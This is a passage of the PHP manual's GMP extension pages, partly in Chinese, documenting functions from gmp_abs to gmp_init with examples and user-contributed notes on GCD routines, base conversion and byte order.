| 4 bytes   | LSW | big    | 89ABCDEF_01234567       |
+-----------+-----+--------+-------------------------+
| 8 bytes   | MSW | little | EFCDAB8967452301        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | MSW | big    | 0123456789ABCDEF        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | LSW | little | EFCDAB8967452301        |
+-----------+-----+--------+-------------------------+
| 8 bytes   | LSW | big    | 0123456789ABCDEF        |
+-----------+-----+--------+-------------------------+
See the full table at https://pastebin.com/2GX4L3dq

My conclusions and infrences:
* gmp_export appears to strips sign data as if calling gmp_abs( $gmp_resource )
* MSW might stand for Most Signifigant Word (order) as the most significant (highest digit) words come first.
    \- A "word" is a numeric type (char, short, int, or long) determined by the $word_size parameter
* LSW might stand for Least Signifigant Word (order) as the least significant (lowest digit) words come first.
* endianness only matters when you are using a word size greater than 1 because, with a word size of 1, each byte is copied over. With a word size of 2, each short is copied over. 4 is int. When copying numbers larger than a byte, endianness does matter because it changes the order of the bytes within the size of the unit. A 2-byte short will have its bytes swapped depending upon the endianness, but the bits in each byte will remain the same.

This note was too long to post, so I had to move the code to make the above table to https://pastebin.com/gWLU4GF8
i at tiankonguse dot com 06-Aug-2013 02:06
when I var_dump these constants,these values is
GMP_ROUND_ZERO  0
GMP_ROUND_PLUSINF 1
GMP_ROUND_MINUSINF 2
GMP_VERSION  "5.0.2"


示例

Example #1 Factorial function using GMP

<?php
function fact($x)
{
$return = 1;
for ($i=2; $i <= $x; $i++) {
$return = gmp_mul($return, $i);
}
return $return;
}

echo gmp_strval(fact(1000)) . "\n";
?>

This will calculate factorial of 1000 (pretty big number) very fast.

User Contributed Notes

fe at e dot com 29-Dec-2017 03:08
If you ever need to use this, please see http://php.net/manual/en/function.gmp-fact.php


GMP 函数

参见

More mathematical functions can be found in the 数学扩展 section

Table of Contents

  • gmp_abs — Absolute value
  • gmp_add — Add numbers
  • gmp_and — Bitwise AND
  • gmp_binomial — Calculates binomial coefficient
  • gmp_clrbit — Clear bit
  • gmp_cmp — Compare numbers
  • gmp_com — Calculates one's complement
  • gmp_div_q — Divide numbers
  • gmp_div_qr — Divide numbers and get quotient and remainder
  • gmp_div_r — Remainder of the division of numbers
  • gmp_div — 别名 gmp_div_q
  • gmp_divexact — Exact division of numbers
  • gmp_export — Export to a binary string
  • gmp_fact — Factorial
  • gmp_gcd — Calculate GCD
  • gmp_gcdext — Calculate GCD and multipliers
  • gmp_hamdist — Hamming distance
  • gmp_import — Import from a binary string
  • gmp_init — Create GMP number
  • gmp_intval — Convert GMP number to integer
  • gmp_invert — Inverse by modulo
  • gmp_jacobi — Jacobi symbol
  • gmp_kronecker — Kronecker symbol
  • gmp_lcm — Calculate LCM
  • gmp_legendre — Legendre symbol
  • gmp_mod — Modulo operation
  • gmp_mul — Multiply numbers
  • gmp_neg — Negate number
  • gmp_nextprime — Find next prime number
  • gmp_or — Bitwise OR
  • gmp_perfect_power — Perfect power check
  • gmp_perfect_square — Perfect square check
  • gmp_popcount — Population count
  • gmp_pow — Raise number into power
  • gmp_powm — Raise number into power with modulo
  • gmp_prob_prime — Check if number is "probably prime"
  • gmp_random_bits — Random number
  • gmp_random_range — Get a uniformly selected integer
  • gmp_random_seed — Sets the RNG seed
  • gmp_random — Random number
  • gmp_root — Take the integer part of nth root
  • gmp_rootrem — Take the integer part and remainder of nth root
  • gmp_scan0 — Scan for 0
  • gmp_scan1 — Scan for 1
  • gmp_setbit — Set bit
  • gmp_sign — Sign of number
  • gmp_sqrt — Calculate square root
  • gmp_sqrtrem — Square root with remainder
  • gmp_strval — Convert GMP number to string
  • gmp_sub — Subtract numbers
  • gmp_testbit — Tests if a bit is set
  • gmp_xor — Bitwise XOR

User Contributed Notes

Nitrogen 06-Sep-2010 08:02
I made a function that can be used for converting numbers to any base you wish.. instead of returning a string of pre-defined index of characters (i.e. 0-9a-z) you could simply make your own of any length using the array of indexes it returns.
I looked around and didn't see anybody made one, I needed one for a simple compression algorithm with only numbers, I've not actually made it yet but this was an initial idea.

<?php
// ConvertBase function explained:
// we add an array item $Input%$Base floored and divide $Input by $Base floored.
// repeat until $Input is no longer above 0.

function ConvertBase($Input,$Base=10) {
  $Input=gmp_init($Input);
  $Result=array();

  for($i=0;$i<1||gmp_sign($Input)==1;$i++) {
    $Result[]=gmp_intval(gmp_mod($Input,$Base));
    $Input=gmp_div_q($Input,$Base);
  }
  $Result=array_reverse($Result);
  return($Result);
}

// an example how gmp_strval($.., 36); could be achieved:

// the funny emergency number from The IT Crowd
// (leading zeroes aren't liked in gmp_init though)
$Input = '1189998819991197253';

// our example 36 characters used in gmp_strval($.., 36);
$Chars = '0123456789abcdefghijklmnopqrstuvwxyz';

// count the $Chars so they're all used
// or use your own number less than the length of $Chars
$Base = strlen($Chars);

// perform
$Result = ConvertBase($Input,$Base);

// replace the resulting index with the corrosponding characters of the index in $Chars
for($i=0;$i<count($Result);$i++)
  $Result[$i]=$Chars{$Result[$i]};

// compare
printf("gmp_strval:  %s\r\n",gmp_strval($Input,36));
printf("BaseConvert: %s\r\n",implode($Result));

/* OUTPUT:
gmp_strval:  91h7dixfq6h1
BaseConvert: 91h7dixfq6h1
*/
?>
The example shows a familiar result of course, but the idea of this function was so that you can use whatever base you wish, and display entirely your own output to represent any number of choice.

Also, for those who wish to do bitwise shifting, it's quite simple.. to shift left, just multiply the number by pow(2,x), and to shift right, divide by pow(2,x).

<?php
function gmp_shiftl($x,$n) { // shift left
  return(gmp_mul($x,gmp_pow(2,$n)));
}

function gmp_shiftr($x,$n) { // shift right
  return(gmp_div($x,gmp_pow(2,$n)));
}
?>

Have fun,
Nitrogen.
john at worldmapad dot com 22-Jul-2006 11:24
Here's a quick and dirty way to use simple GMP functions with PHP without recompiling. It is dependent upon the use of the exec() function, so make sure you can use exec(). While in safe mode you must consider the safe_mode_exec_dir directive. And don't simply pass user input to the exec function without validating the input first!

Download and Install GMP as instructed in README and INSTALL files.
On my MAC OS X Server, I just did the following:
./configure
make
make check
make install
This installed it in the /usr/local directory. There were some errors, but not with any functions I needed.
Within the gmp-4.#.# cd into the demos directory. Then compile pexpr.c by typing:
make pexpr
This is a simple expressions parser which serves as a simple interface to some of the basic GMP functions.
You can test it then like:
./pexpr "102394874783 * 23498748";
Now you may interface with it using PHP's exec() function.
richard-slater.co.uk 22-Feb-2004 01:03
For those (like me) who are trying to do bit masking with very large numbers, here is a useful function to do the work for you.

<?php
  function isBitSet($bitMask, $bitMap)
  {
    return (bool) gmp_intval(gmp_div(gmp_and($bitMask, $bitMap),$bitMask));
  }
?>


Absolute value

  • ? GMP 函数
  • gmp_add ?
  • PHP Manual
  • GMP 函数
  • Absolute value

gmp_abs

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_abs — Absolute value

说明

gmp_abs(GMP|int|string $num): GMP

Get the absolute value of a number.

参数

num

GMP 对象或 int ，或数字string。

返回值

Returns the absolute value of num, as a GMP number.

示例

Example #1 gmp_abs() example

<?php
$abs1 = gmp_abs("274982683358");
$abs2 = gmp_abs("-274982683358");

echo gmp_strval($abs1) . "\n";
echo gmp_strval($abs2) . "\n";
?>

以上示例会输出：

274982683358
274982683358

User Contributed Notes

There are no user contributed notes for this page.


Add numbers

  • ? gmp_abs
  • gmp_and ?
  • PHP Manual
  • GMP 函数
  • Add numbers

gmp_add

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_add — Add numbers

说明

gmp_add(GMP|int|string $num1, GMP|int|string $num2): GMP

Add two numbers.

参数

num1

The first summand (augent).

GMP 对象或 int ，或数字string。

num2

The second summand (addend).

GMP 对象或 int ，或数字string。

返回值

A GMP number representing the sum of the arguments.

示例

Example #1 gmp_add() example

<?php
$sum = gmp_add("123456789012345", "76543210987655");
echo gmp_strval($sum) . "\n";
?>

以上示例会输出：

200000000000000

User Contributed Notes

There are no user contributed notes for this page.


Bitwise AND

  • ? gmp_add
  • gmp_binomial ?
  • PHP Manual
  • GMP 函数
  • Bitwise AND

gmp_and

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_and — Bitwise AND

说明

gmp_and(GMP|int|string $num1, GMP|int|string $num2): GMP

Calculates bitwise AND of two GMP numbers.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

A GMP number representing the bitwise AND comparison.

示例

Example #1 gmp_and() example

<?php
$and1 = gmp_and("0xfffffffff4", "0x4");
$and2 = gmp_and("0xfffffffff4", "0x8");
echo gmp_strval($and1) . "\n";
echo gmp_strval($and2) . "\n";
?>

以上示例会输出：

4
0

User Contributed Notes

There are no user contributed notes for this page.


Calculates binomial coefficient

  • ? gmp_and
  • gmp_clrbit ?
  • PHP Manual
  • GMP 函数
  • Calculates binomial coefficient

gmp_binomial

(PHP 7 >= 7.3.0, PHP 8)

gmp_binomial — Calculates binomial coefficient

说明

gmp_binomial(GMP|int|string $n, int $k): GMP

Calculates the binomial coefficient C(n, k).

参数

n

GMP 对象或 int ，或数字string。

k

返回值

Returns the binomial coefficient C(n, k).

错误／异常

Throws ValueError if k is negative. Prior to PHP 8.0.0, E_WARNING was issued instead.

更新日志

版本 | 说明
8.0.0 | This function no longer returns false on failure.

User Contributed Notes

There are no user contributed notes for this page.


Clear bit

  • ? gmp_binomial
  • gmp_cmp ?
  • PHP Manual
  • GMP 函数
  • Clear bit

gmp_clrbit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_clrbit — Clear bit

说明

gmp_clrbit(GMP $num, int $index): void

Clears (sets to 0) bit index in num. The index starts at 0.

参数

num

A GMP object.

index

The index of the bit to clear. Index 0 represents the least significant bit.

返回值

GMP 对象。

示例

Example #1 gmp_clrbit() example

<?php
$a = gmp_init("0xff");
gmp_clrbit($a, 0); // index starts at 0, least significant bit
echo gmp_strval($a) . "\n";
?>

以上示例会输出：

254

注释

Note:

Unlike most of the other GMP functions, gmp_clrbit() must be called with a GMP object that already exists (using gmp_init() for example). One will not be automatically created.

参见

  • gmp_setbit() - Set bit
  • gmp_testbit() - Tests if a bit is set

User Contributed Notes

There are no user contributed notes for this page.


Compare numbers

  • ? gmp_clrbit
  • gmp_com ?
  • PHP Manual
  • GMP 函数
  • Compare numbers

gmp_cmp

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_cmp — Compare numbers

说明

gmp_cmp(GMP|int|string $num1, GMP|int|string $num2): int

Compares two numbers.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

Returns a positive value if a > b, zero if a = b and a negative value if a < b.

示例

Example #1 gmp_cmp() example

<?php
$cmp1 = gmp_cmp("1234", "1000"); // greater than
$cmp2 = gmp_cmp("1000", "1234"); // less than
$cmp3 = gmp_cmp("1234", "1234"); // equal to

echo "$cmp1 $cmp2 $cmp3\n";
?>

以上示例会输出：

1 -1 0

User Contributed Notes

russell dot harper at springboardnetworks dot com 28-Jul-2010 01:43
I've encountered a memory leak in gmp_cmp if a literal string is used as the second value inside of loops. A workaround is to initialize first, then use the variable. I wasn't able to generate a minimum code sample, it's something more complicated, but I was able to fix it as follows:

<?php

$x = gmp_init(strval(mt_rand()));

// Depending on surrounding code, may have leaks
while (true)
{
    if (!gmp_cmp($x, '1'))
        print 'one'."\n";
}

// Usually doesn't have leaks
$one = gmp_init('1');

while (true)
{
    if (!gmp_cmp($x, $one))
        print 'one'."\n";
}

?>


Calculates one's complement

  • ? gmp_cmp
  • gmp_div_q ?
  • PHP Manual
  • GMP 函数
  • Calculates one's complement

gmp_com

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_com — Calculates one's complement

说明

gmp_com(GMP|int|string $num): GMP

Returns the one's complement of num.

参数

num

GMP 对象或 int ，或数字string。

返回值

Returns the one's complement of num, as a GMP number.

示例

Example #1 gmp_com() example

<?php
$com = gmp_com("1234");
echo gmp_strval($com) . "\n";
?>

以上示例会输出：

-1235

User Contributed Notes

xo at jdbartlett dot com 13-Apr-2010 10:07
If you're using one's compliment (bitwise NOT) to flip all $a's bits, don't forget that you need to use a mask to specify how many bits you expect in your result:

<?php gmp_and(gmp_com('1234'), '2047') ?>
>> 813 // 01100101101 in binary

I chose 2047 because 1234 is an 11-bit binary number and 2047 is the maximum an 11-bit register can hold:

11111111111  (2047)
10011010010  (1234)
01100101101  (813)


Divide numbers

  • ? gmp_com
  • gmp_div_qr ?
  • PHP Manual
  • GMP 函数
  • Divide numbers

gmp_div_q

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_q — Divide numbers

说明

gmp_div_q(GMP|int|string $num1, GMP|int|string $num2, int $rounding_mode = GMP_ROUND_ZERO): GMP

Divides num1 by num2 and returns the integer result.

参数

num1

The number being divided.

GMP 对象或 int ，或数字string。

num2

The number that num1 is being divided by.

GMP 对象或 int ，或数字string。

rounding_mode

The result rounding is defined by the rounding_mode, which can have the following values:

  • GMP_ROUND_ZERO: The result is truncated towards 0.
  • GMP_ROUND_PLUSINF: The result is rounded towards +infinity.
  • GMP_ROUND_MINUSINF: The result is rounded towards -infinity.

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_div_q() example

<?php
$div1 = gmp_div_q("100", "5");
echo gmp_strval($div1) . "\n";

$div2 = gmp_div_q("1", "3");
echo gmp_strval($div2) . "\n";

$div3 = gmp_div_q("1", "3", GMP_ROUND_PLUSINF);
echo gmp_strval($div3) . "\n";

$div4 = gmp_div_q("-1", "4", GMP_ROUND_PLUSINF);
echo gmp_strval($div4) . "\n";

$div5 = gmp_div_q("-1", "4", GMP_ROUND_MINUSINF);
echo gmp_strval($div5) . "\n";
?>

以上示例会输出：

20
0
1
0
-1

注释

Note:

This function can also be called as gmp_div().

参见

  • gmp_div_r() - Remainder of the division of numbers
  • gmp_div_qr() - Divide numbers and get quotient and remainder

User Contributed Notes

There are no user contributed notes for this page.


Divide numbers and get quotient and remainder

  • ? gmp_div_q
  • gmp_div_r ?
  • PHP Manual
  • GMP 函数
  • Divide numbers and get quotient and remainder

gmp_div_qr

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_qr — Divide numbers and get quotient and remainder

说明

gmp_div_qr(GMP|int|string $num1, GMP|int|string $num2, int $rounding_mode = GMP_ROUND_ZERO): array

The function divides num1 by num2.

参数

num1

The number being divided.

GMP 对象或 int ，或数字string。

num2

The number that num1 is being divided by.

GMP 对象或 int ，或数字string。

rounding_mode

See the gmp_div_q() function for description of the rounding_mode argument.

返回值

Returns an array, with the first element being [n/d] (the integer result of the division) and the second being (n - [n/d] * d) (the remainder of the division).

示例

Example #1 Division of GMP numbers

<?php
$a = gmp_init("0x41682179fbf5");
$res = gmp_div_qr($a, "0xDEFE75");
printf("Result is: q - %s, r - %s",
gmp_strval($res[0]), gmp_strval($res[1]));
?>

参见

  • gmp_div_q() - Divide numbers
  • gmp_div_r() - Remainder of the division of numbers

User Contributed Notes

There are no user contributed notes for this page.


Remainder of the division of numbers

  • ? gmp_div_qr
  • gmp_div ?
  • PHP Manual
  • GMP 函数
  • Remainder of the division of numbers

gmp_div_r

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div_r — Remainder of the division of numbers

说明

gmp_div_r(GMP|int|string $num1, GMP|int|string $num2, int $rounding_mode = GMP_ROUND_ZERO): GMP

Calculates remainder of the integer division of num1 by num2. The remainder has the sign of the num1 argument, if not zero.

参数

num1

The number being divided.

GMP 对象或 int ，或数字string。

num2

The number that num1 is being divided by.

GMP 对象或 int ，或数字string。

rounding_mode

See the gmp_div_q() function for description of the rounding_mode argument.

返回值

The remainder, as a GMP number.

示例

Example #1 gmp_div_r() example

<?php
$div = gmp_div_r("105", "20");
echo gmp_strval($div) . "\n";
?>

以上示例会输出：

5

参见

  • gmp_div_q() - Divide numbers
  • gmp_div_qr() - Divide numbers and get quotient and remainder

User Contributed Notes

jessietessie256 at gmail dot com 11-Jan-2019 06:47
it is basically an alias gmp_mod.


别名 gmp_div_q

  • ? gmp_div_r
  • gmp_divexact ?
  • PHP Manual
  • GMP 函数
  • 别名 gmp_div_q

gmp_div

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_div — 别名 gmp_div_q()

说明

此函数是该函数的别名： gmp_div_q().

User Contributed Notes

There are no user contributed notes for this page.


Exact division of numbers

  • ? gmp_div
  • gmp_export ?
  • PHP Manual
  • GMP 函数
  • Exact division of numbers

gmp_divexact

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_divexact — Exact division of numbers

说明

gmp_divexact(GMP|int|string $num1, GMP|int|string $num2): GMP

Divides num1 by num2, using fast "exact division" algorithm. This function produces correct results only when it is known in advance that num2 divides num1.

参数

num1

The number being divided.

GMP 对象或 int ，或数字string。

num2

The number that num1 is being divided by.

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_divexact() example

<?php
$div1 = gmp_divexact("10", "2");
echo gmp_strval($div1) . "\n";

$div2 = gmp_divexact("10", "3"); // bogus result
echo gmp_strval($div2) . "\n";
?>

以上示例会输出：

5
2863311534

User Contributed Notes

There are no user contributed notes for this page.


Export to a binary string

  • ? gmp_divexact
  • gmp_fact ?
  • PHP Manual
  • GMP 函数
  • Export to a binary string

gmp_export

(PHP 5 >= 5.6.1, PHP 7, PHP 8)

gmp_export — Export to a binary string

说明

gmp_export(GMP|int|string $num, int $word_size = 1, int $flags = GMP_MSW_FIRST | GMP_NATIVE_ENDIAN): string

Export a GMP number to a binary string

参数

num

The GMP number being exported

word_size

Default value is 1. The number of bytes in each chunk of binary data. This is mainly used in conjunction with the options parameter.

flags

Default value is GMP_MSW_FIRST | GMP_NATIVE_ENDIAN.

返回值

Returns a string.

更新日志

版本 | 说明
8.0.0 | This function no longer returns false on failure.

示例

Example #1 gmp_export() example

<?php
$number = gmp_init(16705);
echo gmp_export($number) . "\n";
?>

以上示例会输出：

AA

参见

  • gmp_import() - Import from a binary string

User Contributed Notes

There are no user contributed notes for this page.


Factorial

  • ? gmp_export
  • gmp_gcd ?
  • PHP Manual
  • GMP 函数
  • Factorial

gmp_fact

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_fact — Factorial

说明

gmp_fact(GMP|int|string $num): GMP

Calculates factorial (num!) of num.

参数

num

The factorial number.

GMP 对象或 int ，或数字string。

返回值

GMP 对象。

示例

Example #1 gmp_fact() example

<?php
$fact1 = gmp_fact(5); // 5 * 4 * 3 * 2 * 1
echo gmp_strval($fact1) . "\n";

$fact2 = gmp_fact(50); // 50 * 49 * 48, ... etc
echo gmp_strval($fact2) . "\n";
?>

以上示例会输出：

120
30414093201713378043612608166064768844377641568960512000000000000

User Contributed Notes

raholl 01-Oct-2018 04:01
I was expecting gmp_fact() is more effective than doing a while loop, but measurements show opposite:

<?php
$cislo = 112;
$fact = $cislo;
$ffact = 1;
$mt = microtime();
while($fact >= 1)
{
    $ffact = $fact * $ffact;
    $fact--;
}
$md=number_format(microtime()-$mt, 6);
echo "<h1>LOOP ($md):</h1>";
echo $ffact;

$mt = microtime();
$vec = gmp_fact($cislo);
$md=number_format(microtime()-$mt, 6);
echo "<h1>GMP FACT ($md):</h1>";
echo $vec;
exit();
?>

WILL OUTPUT:

LOOP (0.000022s):
1.9745068572211E+182

GMP FACT (0.000132s):
1.9745068572211E+182

Result is 0.000022s loop, and 0.000132s gmp_fact()
raholl 01-Oct-2018 03:59
I was expecting gmp_fact() is more effective than doing a while loop, but measurements show opposite:

<?php
$cislo = 112;
$fact = $cislo;
$ffact = 1;
$mt = microtime();
while($fact >= 1)
{
    $ffact = $fact * $ffact;
    $fact--;
}
$md=number_format(microtime()-$mt, 6);
echo "<h1>LOOP ($md):</h1>";
echo $ffact;

$mt = microtime();
$vec = gmp_fact($cislo);
$md=number_format(microtime()-$mt, 6);
echo "<h1>GMP FACT ($md):</h1>";
echo $vec;
exit();
?>

WILL OUTPUT:

LOOP (0.000022s):
1.9745068572211E+182

GMP FACT (0.000132s):
1.9745068572211E+182

Result is 0.000022s loop, and 0.000132s gmp_fact()


Calculate GCD

  • ? gmp_fact
  • gmp_gcdext ?
  • PHP Manual
  • GMP 函数
  • Calculate GCD

gmp_gcd

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_gcd — Calculate GCD

说明

gmp_gcd(GMP|int|string $num1, GMP|int|string $num2): GMP

Calculate greatest common divisor of num1 and num2. The result is always positive even if either of, or both, input operands are negative.

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

A positive GMP number that divides into both num1 and num2.

示例

Example #1 gmp_gcd() example

<?php
$gcd = gmp_gcd("12", "21");
echo gmp_strval($gcd) . "\n";
?>

以上示例会输出：

3

参见

  • gmp_lcm() - Calculate LCM

User Contributed Notes

me at abiusx dot com 10-Apr-2020 01:48
function gcd($a,$b)
{
    return $b ? gcd($b, $a%$b) : $a;
}

This is pretty fast and short, also easy to remember. If $b is zero, return a, otherwise swap and mod.
delboy1978uk at gmail dot com 24-Oct-2017 05:05
I wanted this functionality without having to install the extension.

So here's a script I wrote to find out the greatest common denominator:

<?php

// Our fraction, 3/12, could be written better
$numerator = 3;
$denominator = 12;

/**
 * @param int $num
 * @return array The common factors of $num
 */
function getFactors($num)
{
    $factors = [];
    // get factors of the numerator
    for ($x = 1; $x <= $num; $x ++) {
        if ($num % $x == 0) {
            $factors[] = $x;
        }
    }
    return $factors;
}

/**
 * @param int $x
 * @param int $y
 */
function getGreatestCommonDenominator($x, $y)
{
    // first get the common denominators of both numerator and denominator
    $factorsX = getFactors($x);
    $factorsY = getFactors($y);

    // common denominators will be in both arrays, so get the intersect
    $commonDenominators = array_intersect($factorsX, $factorsY);

    // greatest common denominator is the highest number (last in the array)
    $gcd = array_pop($commonDenominators);
    return $gcd;
}

// divide the numerator and denomiator by the gcd to get our refactored fraction
$gcd = getGreatestCommonDenominator($numerator, $denominator);
echo ($numerator / $gcd) .'/'. ($denominator / $gcd); // we can use divide (/) because we know result is an int :-)

Which you can see running here https://3v4l.org/uTucY
sean__remove__ at eternalrise_r_emove__ dot com 10-Nov-2008 07:50
Here's my solution for getting the GCD of several numbers.

<?php

/*
 * function gcd()
 *
 * returns greatest common divisor
 * between two numbers
 * tested against gmp_gcd()
 */
function gcd($a, $b)
{
    if ($a == 0 || $b == 0)
        return abs( max(abs($a), abs($b)) );

    $r = $a % $b;
    return ($r != 0) ?
        gcd($b, $r) :
        abs($b);
}

/*
 * function gcd_array()
 *
 * gets greatest common divisor among
 * an array of numbers
 */
function gcd_array($array, $a = 0)
{
    $b = array_pop($array);
    return ($b === null) ?
        (int)$a :
        gcd_array($array, gcd($a, $b));
}

?>
limas at kultur-online dot at 01-Dec-2007 10:44
The previous function returns just 1 under php 5.2.4  but the following seems to work (m>0,n>0):

function gcd($m,$n)
{
    $_m=$m;$r=1;
    if($m<$n){$t=$m;$m=$n;$n=$t;}
    while($r)
    {
        $r=(floor($m/$n)*$n)-$m;
        $_n=$n;$n=$r;$m=$_m;
    }
    return abs($_n);
}
bigkm1 at gmail dot com 25-Aug-2006 09:33
here is an elegant recursive solution
<?php

function gcd($a,$b) {
    return ($a % $b) ? gcd($b,$a % $b) : $b;
}

?>
scr02001 at student dot mdh dot se 16-Aug-2003 06:58
If you do not consier a or b as possible negative numbers, a GCD funktion may return a negative GCD, wich is NOT a greatest common divisor, therefore a funktion like this may be better. This considers the simplyfying of (-3)-(-6) where gcd on -3 and -6 would result in 3, not -3 as with the other function. (-3)-(-6) is (-1)-(-2) NOT (1)-(2)

function eGCD($a,$b){
  if($a < 0)         $a=0-$a;
  if($b < 0 )        $b=0-$b;
  if($a == 0 || $b == 0)    return 1;
  if($a == $b)              return a;

do{
  $rest=(int) $a % $b;  $a=$b; $b=$rest;
  }while($rest >0);
return $a;
}
Ludwig Heymbeeck 12-Jan-2003 10:33
The following function is more accurate:

function GCD($num1, $num2) {
/* finds the greatest common factor between two numbers */
   while ($num2 != 0){
     $t = $num1 % $num2;
     $num1 = $num2;
     $num2 = $t;
   }
   return $num1;
}
x-empt-php dot net at ispep dot cx 06-Jul-2002 11:16
No need to compile gmp functions in just for the GCD function...  use this one instead:

function GCD($num1, $num2) {
 /* finds the greatest common factor between two numbers */
    if ($num1 < $num2) {
        $t = $num1;
        $num1 = $num2;
        $num2 = $t;
    }
    while ($t = ($num1 % $num2) != 0) {
        $num1 = $num2;
        $num2 = $t;
    }
    return $num2;
}


Calculate GCD and multipliers

  • ? gmp_gcd
  • gmp_hamdist ?
  • PHP Manual
  • GMP 函数
  • Calculate GCD and multipliers

gmp_gcdext

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_gcdext — Calculate GCD and multipliers

说明

gmp_gcdext(GMP|int|string $num1, GMP|int|string $num2): array

Calculates g, s, and t, such that a*s + b*t = g = gcd(a,b), where gcd is the greatest common divisor. Returns an array with respective elements g, s and t.

This function can be used to solve linear Diophantine equations in two variables. These are equations that allow only integer solutions and have the form: a*x + b*y = c. For more information, go to the » "Diophantine Equation" page at MathWorld

参数

num1

GMP 对象或 int ，或数字string。

num2

GMP 对象或 int ，或数字string。

返回值

An array of GMP numbers.

示例

Example #1 Solving a linear Diophantine equation

<?php
// Solve the equation a*s + b*t = g
// where a = 12, b = 21, g = gcd(12, 21) = 3
$a = gmp_init(12);
$b = gmp_init(21);
$g = gmp_gcd($a, $b);
$r = gmp_gcdext($a, $b);

$check_gcd = (gmp_strval($g) == gmp_strval($r['g']));
$eq_res = gmp_add(gmp_mul($a, $r['s']), gmp_mul($b, $r['t']));
$check_res = (gmp_strval($g) == gmp_strval($eq_res));

if ($check_gcd && $check_res) {
$fmt = "Solution: %d*%d + %d*%d = %d\n";
printf($fmt, gmp_strval($a), gmp_strval($r['s']), gmp_strval($b),
gmp_strval($r['t']), gmp_strval($r['g']));
} else {
echo "Error while solving the equation\n";
}

// output: Solution: 12*2 + 21*-1 = 3
?>

User Contributed Notes

FatPhil 15-Jun-2003 06:47
The extended GCD can be used to calculate mutual modular inverses of two
coprime numbers. Internally gmp_invert uses this extended GCD routine,
but effectively throws away one of the inverses.

If gcd(a,b)=1, then r.a+s.b=1
Therefore  r.a == 1 (mod s) and s.b == 1 (mod r)
Note that one of r and s will be negative, and so you'll want to
canonicalise it.


Hamming distance

  • ? gmp_gcdext
  • gmp_import ?
  • PHP Manual
  • GMP 函数
  • Hamming distance

gmp_hamdist

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_hamdist — Hamming distance

说明

gmp_hamdist(GMP|int|string $num1, GMP|int|string $num2): int

Returns the hamming distance between num1 and num2. Both operands should be non-negative.

参数

num1

GMP 对象或 int ，或数字string。

It should be positive.

num2

GMP 对象或 int ，或数字string。

It should be positive.

返回值

The hamming distance between num1 and num2, as an int.

示例

Example #1 gmp_hamdist() example

<?php
$ham1 = gmp_init("1001010011", 2);
$ham2 = gmp_init("1011111100", 2);
echo gmp_hamdist($ham1, $ham2) . "\n";

/* hamdist is equivalent to: */
echo gmp_popcount(gmp_xor($ham1, $ham2)) . "\n";
?>

以上示例会输出：

6
6

参见

  • gmp_popcount() - Population count
  • gmp_xor() - Bitwise XOR

User Contributed Notes

grabzila at gmail dot com 11-Mar-2021 11:14
<?php
$hamdist = gmp_hamdist(-100, -10); // 4
$hamdist = gmp_hamdist(100, 10);  // 5
?>

The function works great with negative numbers.
Bas Vijfwinkel 16-Apr-2018 05:41
For those without gmp support :

$hamming_distance = count(array_diff_assoc(str_split($string1), str_split($string2)));

And if you are not sure if your strings have equal length :

$hamming_distance = count(array_diff_assoc(str_split(str_pad($string1,strlen($string2)-strlen($string1),' ')), str_split(str_pad($string2,strlen($string1)-strlen($string2),' '))));


Import from a binary string

  • ? gmp_hamdist
  • gmp_init ?
  • PHP Manual
  • GMP 函数
  • Import from a binary string

gmp_import

(PHP 5 >= 5.6.1, PHP 7, PHP 8)

gmp_import — Import from a binary string

说明

gmp_import(string $data, int $word_size = 1, int $flags = GMP_MSW_FIRST | GMP_NATIVE_ENDIAN): GMP

Import a GMP number from a binary string

参数

data

The binary string being imported

word_size

Default value is 1. The number of bytes in each chunk of binary data. This is mainly used in conjunction with the options parameter.

flags

Default value is GMP_MSW_FIRST | GMP_NATIVE_ENDIAN.

返回值

Returns a GMP number.

更新日志

版本 | 说明
8.0.0 | This function no longer returns false on failure.

示例

Example #1 gmp_import() example

<?php
$number = gmp_import("\0");
echo gmp_strval($number) . "\n";

$number = gmp_import("\0\1\2");
echo gmp_strval($number) . "\n";
?>

以上示例会输出：

0
258

参见

  • gmp_export() - Export to a binary string

User Contributed Notes

There are no user contributed notes for this page.


Create GMP number

  • ? gmp_import
  • gmp_intval ?
  • PHP Manual
  • GMP 函数
  • Create GMP number

gmp_init

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_init — Create GMP number

说明

gmp_init(int|string $num, int $base = 0): GMP

Creates a GMP number from an integer or string.

参数

num

An integer or a string. The string representation can be decimal, hexadecimal or octal.

base

The base.

The base may vary from 2 to 62. If base is 0 (default value), the actual base is determined from the leading characters: if the first two characters are 0x or 0X, hexadecimal is assumed, if the first two characters are 0b or 0B, binary is assumed, otherwise if the first character is 0, octal is assumed, otherwise decimal is assumed. For bases up to 36, case is ignored; upper-case and lower-case letters have the same value. For bases 37 to 62, upper-case letter represent the usual 10 to 35 while lower-case letter represent 36 to 61.

返回值

GMP 对象。

示例

Example #1 Creating GMP number

<?php
$a = gmp_init(123456);
$b = gmp_init("0xFFFFDEBACDFEDF7200");
?>

注释

Note:

